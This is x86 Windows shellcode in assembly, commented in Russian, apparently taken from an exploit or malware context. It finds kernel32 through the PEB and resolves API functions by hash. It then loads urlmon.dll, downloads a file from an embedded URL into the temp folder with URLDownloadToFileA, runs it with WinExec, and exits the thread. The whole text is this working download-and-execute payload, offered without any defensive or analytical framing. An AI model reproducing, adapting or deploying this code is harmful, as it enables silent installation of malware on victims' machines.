:
       xor eax,eax
       mov eax,dword ptr fs:[eax+030h];получает базу кернела
       js @tb3_00401014
       mov eax,dword ptr ds:[eax+0ch]
       mov esi,dword ptr ds:[eax+01ch]
       lods dword ptr ds:[esi]
       mov ebx,dword ptr ds:[eax+8]
       jmp @tb3_0040101D
@tb3_00401014:
       mov eax,dword ptr ds:[eax+034h]
       lea eax,dword ptr ds:[eax+07ch]
       mov ebx,dword ptr ds:[eax+03ch]
@tb3_0040101d:
       push 044h
       pop edx
       shl edx,1
       sub esp,edx
       mov ebp,esp
       jmp @tb3_00401077

@tb3_00401028:;кодес получения функций по их хешам                              
       pop edx
       push edx
       sub edx,056h
       mov dword ptr ss:[ebp+4],edx
       push esi
       push edi
       mov esi,dword ptr ds:[ebx+03ch]
       mov esi,dword ptr ds:[ebx+esi+078h]
       add esi,ebx
       push esi
       mov esi,dword ptr ds:[esi+020h]
       add esi,ebx
       xor ecx,ecx
       dec ecx
@tb3_00401044:
       push eax
       inc ecx
       lods dword ptr ds:[esi]
       xor edi,edi
@tb3_00401049:
       movsx edx,byte ptr ss:[ebx+eax]
       cmp dl,dh
       je @tb3_0040105A
       ror edi,0dh
       add edi,edx
       inc eax
       jmp @tb3_00401049
@tb3_0040105a:
       pop eax
       cmp edi,eax
       jnz @tb3_00401044
       pop esi
       mov eax,dword ptr ds:[esi+024h]
       add eax,ebx
       mov cx,word ptr ds:[eax+ecx*2]
       mov edx,dword ptr ds:[esi+01ch]
       add edx,ebx
       mov eax,dword ptr ds:[edx+ecx*4]
       add eax,ebx
       pop edi
       pop esi
       push eax
       ret                                  

@tb3_00401077:
       lea edi,dword ptr ss:[ebp+8]
       push edi
       push edx
       mov eax,05b8aca33h; получаем и вызываем функцию GetTempPathA 
       call @tb3_00401028
       xor al,al
       mov esi,edi
       repne scas byte ptr es:[edi]
       dec edi
       mov eax,078652e65h 
       stos dword ptr es:[edi]
       cbw
       stos word ptr es:[edi];добавляем к пути темповой папки имя файла
       mov al,06ch
       mov ah,al
       cwde
       push eax
       push 0642e6e6fh
       push 06d6c7275h
       push esp
       mov eax,0ec0e4e8eh
       call dword ptr ss:[ebp+4];получаем и вызываем функцию LoadLibraryA,"urlmon.dll"
       xchg eax,ebx
       push eax
       xor eax,eax
       push eax
       push eax
       push esi
       mov edx,dword ptr ss:[ebp+4]
       add edx,07fh
       add edx,031h
       push edx
       push eax
       mov eax,0702f1a36h
       call dword ptr ss:[ebp+4];далее функция URLDownloadToFileA
       pop ebx
       xor edi,edi
       push edi
       push esi
       mov eax,0e8afe98h
       call dword ptr ss:[ebp+4]; WinExec
       push edi
       mov eax,060e0ceefh
       call dword ptr ss:[ebp+4];ExitThread